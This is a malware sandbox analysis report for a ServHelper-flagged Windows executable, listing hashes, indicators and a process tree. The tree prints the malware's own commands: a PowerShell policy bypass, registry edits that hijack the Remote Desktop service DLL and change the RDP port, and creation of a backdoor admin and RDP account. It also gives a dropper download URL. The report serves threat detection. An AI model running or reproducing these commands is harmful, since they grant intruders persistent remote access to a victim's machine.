266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce

Analysis

max time kernel
50s
max time network
125s
platform
windows10_x64
resource
win10v20210410
submitted
19-08-2021 19:34

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General

Target

87dd0632a95ca24443f8c6363bc055e6.exe
Size

5.9MB
MD5

87dd0632a95ca24443f8c6363bc055e6
SHA1

423785b67d20f4f5056ff6d9e34fda3c72a03bd4
SHA256

266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce
SHA512

c51d180cca074540f5ca9186e60509cfdb1c7e1a8651e691eac585df9f8352e256cedb86a4a340e0e8f5b1ed6d73ff270d92424259539c0c4c02a7048f2a75e2

Score

10^/10

persistence suricata upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
18	2268	powershell.exe
20	2268	powershell.exe
21	2268	powershell.exe
22	2268	powershell.exe
24	2268	powershell.exe
26	2268	powershell.exe
28	2268	powershell.exe
30	2268	powershell.exe
32	2268	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000400000001a50b-349.dat	upx
behavioral2/files/0x000800000001ab63-350.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
3252	Process not Found
3252	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA88B.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA8DB.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA86B.tmp	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_vlxy30jc.3bs.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA8EC.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ni1x2fi4.0wu.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIA89C.tmp	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2176	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
2064	powershell.exe
2064	powershell.exe
2064	powershell.exe
2088	powershell.exe
2088	powershell.exe
2088	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
2268	powershell.exe
2268	powershell.exe
2268	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
612	Process not Found
612	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3916	87dd0632a95ca24443f8c6363bc055e6.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeIncreaseQuotaPrivilege	2064	powershell.exe
Token: SeSecurityPrivilege	2064	powershell.exe
Token: SeTakeOwnershipPrivilege	2064	powershell.exe
Token: SeLoadDriverPrivilege	2064	powershell.exe
Token: SeSystemProfilePrivilege	2064	powershell.exe
Token: SeSystemtimePrivilege	2064	powershell.exe
Token: SeProfSingleProcessPrivilege	2064	powershell.exe
Token: SeIncBasePriorityPrivilege	2064	powershell.exe
Token: SeCreatePagefilePrivilege	2064	powershell.exe
Token: SeBackupPrivilege	2064	powershell.exe
Token: SeRestorePrivilege	2064	powershell.exe
Token: SeShutdownPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeSystemEnvironmentPrivilege	2064	powershell.exe
Token: SeRemoteShutdownPrivilege	2064	powershell.exe
Token: SeUndockPrivilege	2064	powershell.exe
Token: SeManageVolumePrivilege	2064	powershell.exe
Token: 33	2064	powershell.exe
Token: 34	2064	powershell.exe
Token: 35	2064	powershell.exe
Token: 36	2064	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeIncreaseQuotaPrivilege	2088	powershell.exe
Token: SeSecurityPrivilege	2088	powershell.exe
Token: SeTakeOwnershipPrivilege	2088	powershell.exe
Token: SeLoadDriverPrivilege	2088	powershell.exe
Token: SeSystemProfilePrivilege	2088	powershell.exe
Token: SeSystemtimePrivilege	2088	powershell.exe
Token: SeProfSingleProcessPrivilege	2088	powershell.exe
Token: SeIncBasePriorityPrivilege	2088	powershell.exe
Token: SeCreatePagefilePrivilege	2088	powershell.exe
Token: SeBackupPrivilege	2088	powershell.exe
Token: SeRestorePrivilege	2088	powershell.exe
Token: SeShutdownPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeSystemEnvironmentPrivilege	2088	powershell.exe
Token: SeRemoteShutdownPrivilege	2088	powershell.exe
Token: SeUndockPrivilege	2088	powershell.exe
Token: SeManageVolumePrivilege	2088	powershell.exe
Token: 33	2088	powershell.exe
Token: 34	2088	powershell.exe
Token: 35	2088	powershell.exe
Token: 36	2088	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeIncreaseQuotaPrivilege	3848	powershell.exe
Token: SeSecurityPrivilege	3848	powershell.exe
Token: SeTakeOwnershipPrivilege	3848	powershell.exe
Token: SeLoadDriverPrivilege	3848	powershell.exe
Token: SeSystemProfilePrivilege	3848	powershell.exe
Token: SeSystemtimePrivilege	3848	powershell.exe
Token: SeProfSingleProcessPrivilege	3848	powershell.exe
Token: SeIncBasePriorityPrivilege	3848	powershell.exe
Token: SeCreatePagefilePrivilege	3848	powershell.exe
Token: SeBackupPrivilege	3848	powershell.exe
Token: SeRestorePrivilege	3848	powershell.exe
Token: SeShutdownPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeSystemEnvironmentPrivilege	3848	powershell.exe
Token: SeRemoteShutdownPrivilege	3848	powershell.exe
Token: SeUndockPrivilege	3848	powershell.exe
Token: SeManageVolumePrivilege	3848	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3916 wrote to memory of 3668	3916	87dd0632a95ca24443f8c6363bc055e6.exe	76
PID 3916 wrote to memory of 3668	3916	87dd0632a95ca24443f8c6363bc055e6.exe	76
PID 3668 wrote to memory of 1300	3668	powershell.exe	78
PID 3668 wrote to memory of 1300	3668	powershell.exe	78
PID 1300 wrote to memory of 1904	1300	csc.exe	79
PID 1300 wrote to memory of 1904	1300	csc.exe	79
PID 3668 wrote to memory of 2064	3668	powershell.exe	80
PID 3668 wrote to memory of 2064	3668	powershell.exe	80
PID 3668 wrote to memory of 2088	3668	powershell.exe	85
PID 3668 wrote to memory of 2088	3668	powershell.exe	85
PID 3668 wrote to memory of 3848	3668	powershell.exe	87
PID 3668 wrote to memory of 3848	3668	powershell.exe	87
PID 3668 wrote to memory of 3252	3668	powershell.exe	90
PID 3668 wrote to memory of 3252	3668	powershell.exe	90
PID 3668 wrote to memory of 2176	3668	powershell.exe	91
PID 3668 wrote to memory of 2176	3668	powershell.exe	91
PID 3668 wrote to memory of 3976	3668	powershell.exe	92
PID 3668 wrote to memory of 3976	3668	powershell.exe	92
PID 3668 wrote to memory of 2200	3668	powershell.exe	93
PID 3668 wrote to memory of 2200	3668	powershell.exe	93
PID 2200 wrote to memory of 2232	2200	net.exe	94
PID 2200 wrote to memory of 2232	2200	net.exe	94
PID 3668 wrote to memory of 1072	3668	powershell.exe	95
PID 3668 wrote to memory of 1072	3668	powershell.exe	95
PID 1072 wrote to memory of 2156	1072	cmd.exe	96
PID 1072 wrote to memory of 2156	1072	cmd.exe	96
PID 2156 wrote to memory of 1636	2156	cmd.exe	97
PID 2156 wrote to memory of 1636	2156	cmd.exe	97
PID 1636 wrote to memory of 1832	1636	net.exe	98
PID 1636 wrote to memory of 1832	1636	net.exe	98
PID 3668 wrote to memory of 1432	3668	powershell.exe	99
PID 3668 wrote to memory of 1432	3668	powershell.exe	99
PID 1432 wrote to memory of 3100	1432	cmd.exe	100
PID 1432 wrote to memory of 3100	1432	cmd.exe	100
PID 3100 wrote to memory of 4000	3100	cmd.exe	101
PID 3100 wrote to memory of 4000	3100	cmd.exe	101
PID 4000 wrote to memory of 3884	4000	net.exe	102
PID 4000 wrote to memory of 3884	4000	net.exe	102
PID 2668 wrote to memory of 1852	2668	cmd.exe	106
PID 2668 wrote to memory of 1852	2668	cmd.exe	106
PID 1852 wrote to memory of 368	1852	net.exe	107
PID 1852 wrote to memory of 368	1852	net.exe	107
PID 2332 wrote to memory of 2184	2332	cmd.exe	110
PID 2332 wrote to memory of 2184	2332	cmd.exe	110
PID 2184 wrote to memory of 3876	2184	net.exe	111
PID 2184 wrote to memory of 3876	2184	net.exe	111
PID 3840 wrote to memory of 2008	3840	cmd.exe	114
PID 3840 wrote to memory of 2008	3840	cmd.exe	114
PID 2008 wrote to memory of 1636	2008	net.exe	115
PID 2008 wrote to memory of 1636	2008	net.exe	115
PID 2064 wrote to memory of 344	2064	cmd.exe	118
PID 2064 wrote to memory of 344	2064	cmd.exe	118
PID 344 wrote to memory of 1168	344	net.exe	119
PID 344 wrote to memory of 1168	344	net.exe	119
PID 1296 wrote to memory of 368	1296	cmd.exe	122
PID 1296 wrote to memory of 368	1296	cmd.exe	122
PID 368 wrote to memory of 3704	368	net.exe	123
PID 368 wrote to memory of 3704	368	net.exe	123
PID 4056 wrote to memory of 1652	4056	cmd.exe	126
PID 4056 wrote to memory of 1652	4056	cmd.exe	126
PID 1652 wrote to memory of 684	1652	net.exe	127
PID 1652 wrote to memory of 684	1652	net.exe	127
PID 424 wrote to memory of 2696	424	cmd.exe	130
PID 424 wrote to memory of 2696	424	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe
"C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfhdxg5m\zfhdxg5m.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1300
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6C3D.tmp" "c:\Users\Admin\AppData\Local\Temp\zfhdxg5m\CSCFAC60B4AB7C947009A3AFB3947D1A5FC.TMP"
      4⤵
      PID:1904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3848
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3252
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2176
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3976
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2232
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1072
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2156
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1636
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1832
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1432
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3100
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4000
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3884
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:4000
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2076

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:368

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc i0aAay1y /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc i0aAay1y /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc i0aAay1y /add
    3⤵
    PID:3876

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3840
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1636

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2064
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:1168

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\system32\net.exe
